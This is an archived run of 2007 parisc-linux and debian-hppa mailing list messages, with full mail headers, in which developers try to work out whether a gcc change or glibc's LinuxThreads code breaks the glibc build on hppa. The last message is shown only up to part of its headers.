Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jul 2007 14:22:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx027) with SMTP; 05 Jul 2007 16:22:38 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C19327DD13;
	Thu,  5 Jul 2007 08:22:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11232-01; Thu, 5 Jul 2007 08:22:32 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A5ECE7DD21;
	Thu,  5 Jul 2007 08:22:31 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E4D4F7DD13
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 Jul 2007 08:22:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09829-09 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 5 Jul 2007 08:22:25 -0600 (MDT)
Original-Received: from calypso.frankengul.org (calypso.frankengul.org [213.41.240.201])
	by free.linux.hp.com (Postfix) with ESMTP id D0C8D7DCF1
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 Jul 2007 08:22:24 -0600 (MDT)
Original-Received: by calypso.frankengul.org (Postfix, from userid 1000)
	id 2611E104FAE; Thu,  5 Jul 2007 16:22:23 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <200707030158.l631wkrg003150@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: mci/ct1aTXs8bKyRbmQ5/c1KRzdyMgOW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24682

On Mon, Jul 02, 2007 at 09:58:45PM -0400, John David Anglin wrote:
[snip]
> 
> Looking at gcc PR 20218, it's clear that there are some very subtle
> issues here.  So, it's not clear to me where the problem lies.  It
> could be in glibc (hppa sysdep-cancel.h), binutils or gcc.  The handling
> of the visibility attribute was broken prior to HJL's change, so it
> could have exposed bugs in other packages.
> 
> Because of this, it was a mistake for Debian to backport this change.
> The change is only in the unreleased gcc trunk.
> 
> Since the problem was introduced by a gcc change, I'd start with
> a gcc PR and mention the patch that introduced the regression.
> 
> Could you do glibc builds with the gcc trunk before and after the change?
> It's best to base the PR on an unmodified version of gcc.

The test with the gcc-trunk (Main 4.3.0 head) shows the same error at the same place.
By the way, did I mention that the problem is not present if nptl is enabled ?

> 
> It would help to know the exact details of the linker command that
> fails, the assembler code generated for mq_timedreceive, and the
> __librt_multiple_threads symbols in __librt_multiple_threads librt.so.

Did you had a look at the info I sent you  (see my previous message) ?

What do you think of this ?

	Seb

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc is broken because of gcc
Date: Thu, 5 Jul 2007 11:18:05 -0400 (EDT)
Lines: 32
Approved: news@gmane.org
Message-ID: <200707051518.l65FI56n006476__16166.9711619199$1416624402$gmane$org@hiauly1.hia.nrc.ca>
References: <20070705142222.GA26105@frankengul.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624402 24614 80.91.229.3 (22 Nov 2014 02:46:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 aurelien@aurel32.net,
 debian-hppa@lists.debian.org
To: seb@frankengul.org
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jul 2007 15:18:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx075) with SMTP; 05 Jul 2007 17:18:40 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E3EA87DDB4;
	Thu,  5 Jul 2007 09:18:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11330-06; Thu, 5 Jul 2007 09:18:36 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A2FEB7DDCB;
	Thu,  5 Jul 2007 09:18:34 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9BA9C7DDB4
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 Jul 2007 09:18:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11330-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 5 Jul 2007 09:18:29 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 7DBB07DD57
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 Jul 2007 09:18:29 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l65FI6u1006477;
	Thu, 5 Jul 2007 11:18:06 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l65FI56n006476;
	Thu, 5 Jul 2007 11:18:05 -0400 (EDT)
In-Reply-To: <20070705142222.GA26105@frankengul.org> from "seb@frankengul.org"
	at Jul 5, 2007 04:22:23 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5j2+ctwzTXs8bKyRbmQ5alZKRzdyMkM0
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24683

> > Could you do glibc builds with the gcc trunk before and after the change?
> > It's best to base the PR on an unmodified version of gcc.
> 
> The test with the gcc-trunk (Main 4.3.0 head) shows the same error at the same place.

Ok, it would be useful to file a gcc PR to start.  However, it's not
clear that gcc is a fault.

It may be that glibc isn't using the visibility attribute correctly
for this symbol (i.e., hiding a symbol that is externally referenced).
You could try building glibc with the attribute removed.  This might
be somewhat hppa specific because of the nptl issue.

> > It would help to know the exact details of the linker command that
> > fails, the assembler code generated for mq_timedreceive, and the
> > __librt_multiple_threads symbols in __librt_multiple_threads librt.so.
> 
> Did you had a look at the info I sent you  (see my previous message) ?

I looked at it briefly but don't have a comment at the moment.  I was
hoping to figure out which package is responsible for this problem.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeff Bailey" <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc is broken because of gcc
Date: Thu, 5 Jul 2007 08:24:12 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <5b2e36650707050824ud041452reb3c017d85b155dc__3371.94599346748$1416624402$gmane$org@mail.gmail.com>
References: <20070705142222.GA26105@frankengul.org>
	 <200707051518.l65FI56n006476@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624402 24617 80.91.229.3 (22 Nov 2014 02:46:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:42 +0000 (UTC)
Cc: seb@frankengul.org,
 parisc-linux@lists.parisc-linux.org,
 aurelien@aurel32.net,
 debian-hppa@lists.debian.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jul 2007 15:24:21 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [70.103.162.31]
  by mx0.gmx.net (mx097) with SMTP; 05 Jul 2007 17:24:21 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id B11582DEFD; Thu,  5 Jul 2007 15:24:52 +0000 (UTC)
Old-Return-Path: <jbailey@raspberryginger.com>
X-Spam-Checker-Version: SpamAssassin 3.1.4 (2006-07-26) on murphy.debian.org
X-Spam-Status: No, score=-6.5 required=4.0 tests=AWL,LDOSUBSCRIBER 
	autolearn=ham version=3.1.4
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from nz-out-0506.google.com (nz-out-0506.google.com [64.233.162.238])
	by murphy.debian.org (Postfix) with ESMTP id 63A432E115
	for <debian-hppa@lists.debian.org>; Thu,  5 Jul 2007 15:24:47 +0000 (UTC)
Original-Received: by nz-out-0506.google.com with SMTP id q3so1541193nzb
        for <debian-hppa@lists.debian.org>; Thu, 05 Jul 2007 08:24:12 -0700 (PDT)
Original-Received: by 10.115.108.1 with SMTP id k1mr8221984wam.1183649052067;
        Thu, 05 Jul 2007 08:24:12 -0700 (PDT)
Original-Received: by 10.114.108.14 with HTTP; Thu, 5 Jul 2007 08:24:12 -0700 (PDT)
In-Reply-To: <200707051518.l65FI56n006476@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Rc-Virus: 2006-10-25_01
X-Rc-Spam: 2007-05-24_01
Resent-Message-ID: <DhU3PD.A.KfD.E1QjGB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5841
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Thu,  5 Jul 2007 15:24:52 +0000 (UTC)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: EjW7d5xBYmYTTenCanc3M0tKWkZTQZTv
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24684

On 05/07/07, John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:
> > > Could you do glibc builds with the gcc trunk before and after the change?
> > > It's best to base the PR on an unmodified version of gcc.
> >
> > The test with the gcc-trunk (Main 4.3.0 head) shows the same error at the same place.
>
> Ok, it would be useful to file a gcc PR to start.  However, it's not
> clear that gcc is a fault.
>
> It may be that glibc isn't using the visibility attribute correctly
> for this symbol (i.e., hiding a symbol that is externally referenced).
> You could try building glibc with the attribute removed.  This might
> be somewhat hppa specific because of the nptl issue.

As long as LinuxThreads isn't built, this problem doesn't come up.  It
seems very likely that it's a glibc problem, then.  The Ubuntu builds
are NPTL-only and don't show this problem.

-- 
Jeff Bailey - http://www.raspberryginger.com/jbailey/


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeff Bailey" <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: glibc testsuite failures,
	3 odd filesystem issues.
Date: Thu, 5 Jul 2007 08:31:07 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <5b2e36650707050831h7e92ef95u8c5b075edd1baeba__29046.5257749476$1416624403$gmane$org@mail.gmail.com>
References: <119aab440705031832yf0dd7a4gff0e053e7b52febd@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624403 24624 80.91.229.3 (22 Nov 2014 02:46:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:43 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org,
 aurelien@aurel32.net
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jul 2007 15:31:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx052) with SMTP; 05 Jul 2007 17:31:22 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D7AB07DDE3;
	Thu,  5 Jul 2007 09:31:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12064-03; Thu, 5 Jul 2007 09:31:19 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A39407DDEA;
	Thu,  5 Jul 2007 09:31:17 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 187067DDE5
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 Jul 2007 09:31:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11891-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 5 Jul 2007 09:31:08 -0600 (MDT)
Original-Received: from wa-out-1112.google.com (wa-out-1112.google.com [209.85.146.177])
	by free.linux.hp.com (Postfix) with ESMTP id 3CE727DD57
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 Jul 2007 09:31:08 -0600 (MDT)
Original-Received: by wa-out-1112.google.com with SMTP id j40so3847871wah
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 05 Jul 2007 08:31:07 -0700 (PDT)
Original-Received: by 10.114.76.1 with SMTP id y1mr8222916waa.1183649467555;
	Thu, 05 Jul 2007 08:31:07 -0700 (PDT)
Original-Received: by 10.114.108.14 with HTTP; Thu, 5 Jul 2007 08:31:07 -0700 (PDT)
In-Reply-To: <119aab440705031832yf0dd7a4gff0e053e7b52febd@mail.gmail.com>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /zy6calrbGI1cqaDYmRnbQlncmZ1Zlxf
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24685

On 03/05/07, Carlos O'Donell <carlos@systemhalted.org> wrote:
> On 5/3/07, Carlos O'Donell <carlos@systemhalted.org> wrote:

(details on tests snipped)

> Triage complete!

Heya Carlos!  FYI that glibc-2.6-0ubuntu2 (being uploaded soonish) now
matches your set of testsuite failures.  The changes from Debian are:
dropped LT support, built with gcc-4.2.  The tst-mqueue3 failure is
probably the next one I'll investigate, since it's a regression from
being built with gcc-4.1.

Thanks!

-- 
Jeff Bailey - http://www.raspberryginger.com/jbailey/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aurelien Jarno <aurelien@aurel32.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc is broken because of gcc
Date: Thu, 05 Jul 2007 18:57:14 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <468D22EA.7000405__2301.90168736062$1416624403$gmane$org@aurel32.net>
References: <20070705142222.GA26105@frankengul.org>	
	<200707051518.l65FI56n006476@hiauly1.hia.nrc.ca>
	<5b2e36650707050824ud041452reb3c017d85b155dc@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416624403 24634 80.91.229.3 (22 Nov 2014 02:46:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:43 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 debian-hppa@lists.debian.org,
 parisc-linux@lists.parisc-linux.org
To: Jeff Bailey <jbailey@raspberryginger.com>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jul 2007 16:58:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx089) with SMTP; 05 Jul 2007 18:58:02 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C328B7DDF3;
	Thu,  5 Jul 2007 10:57:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12726-01; Thu, 5 Jul 2007 10:57:56 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A0FF27DDDD;
	Thu,  5 Jul 2007 10:57:54 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A9BC67DD14
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 Jul 2007 10:57:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12159-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 5 Jul 2007 10:57:48 -0600 (MDT)
Original-Received: from hall.aurel32.net (hall.aurel32.net [88.191.38.19])
	by free.linux.hp.com (Postfix) with ESMTP id C9E547DD0E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 Jul 2007 10:57:48 -0600 (MDT)
Original-Received: from anguille.univ-lyon1.fr ([134.214.4.207])
	by hall.aurel32.net with esmtpsa (TLS-1.0:DHE_RSA_AES_256_CBC_SHA1:32)
	(Exim 4.63) (envelope-from <aurelien@aurel32.net>)
	id 1I6UeG-0005rG-Rm; Thu, 05 Jul 2007 18:57:45 +0200
User-Agent: IceDove 1.5.0.10 (X11/20070329)
In-Reply-To: <5b2e36650707050824ud041452reb3c017d85b155dc@mail.gmail.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: KBq+fokmMmAobLSZZGFnsisxMjQ1Nx1L
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24686

Jeff Bailey a écrit :
> On 05/07/07, John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:
>>>> Could you do glibc builds with the gcc trunk before and after the change?
>>>> It's best to base the PR on an unmodified version of gcc.
>>> The test with the gcc-trunk (Main 4.3.0 head) shows the same error at the same place.
>> Ok, it would be useful to file a gcc PR to start.  However, it's not
>> clear that gcc is a fault.
>>
>> It may be that glibc isn't using the visibility attribute correctly
>> for this symbol (i.e., hiding a symbol that is externally referenced).
>> You could try building glibc with the attribute removed.  This might
>> be somewhat hppa specific because of the nptl issue.
> 
> As long as LinuxThreads isn't built, this problem doesn't come up.  It
> seems very likely that it's a glibc problem, then.  The Ubuntu builds
> are NPTL-only and don't show this problem.
> 

On the other hand, the LinuxThreads build on other architectures are
still fine even with the latest gcc in Debian.

-- 
  .''`.  Aurelien Jarno	            | GPG: 1024D/F1BCDB73
 : :' :  Debian developer           | Electrical Engineer
 `. `'   aurel32@debian.org         | aurelien@aurel32.net
   `-    people.debian.org/~aurel32 | www.aurel32.net
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc is broken because of gcc
Date: Thu, 5 Jul 2007 13:28:42 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <200707051728.l65HSg7S008597__23960.0824345418$1416624403$gmane$org@hiauly1.hia.nrc.ca>
References: <468D22EA.7000405@aurel32.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624403 24645 80.91.229.3 (22 Nov 2014 02:46:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:43 +0000 (UTC)
Cc: jbailey@raspberryginger.com,
 debian-hppa@lists.debian.org,
 parisc-linux@lists.parisc-linux.org
To: aurelien@aurel32.net (Aurelien Jarno)
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jul 2007 17:47:15 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [70.103.162.31]
  by mx0.gmx.net (mx035) with SMTP; 05 Jul 2007 19:47:15 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 574DE2E03B; Thu,  5 Jul 2007 17:47:48 +0000 (UTC)
Old-Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Spam-Checker-Version: SpamAssassin 3.1.4 (2006-07-26) on murphy.debian.org
X-Spam-Status: No, score=-0.4 required=4.0 tests=AWL,UNPARSEABLE_RELAY 
	autolearn=no version=3.1.4
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
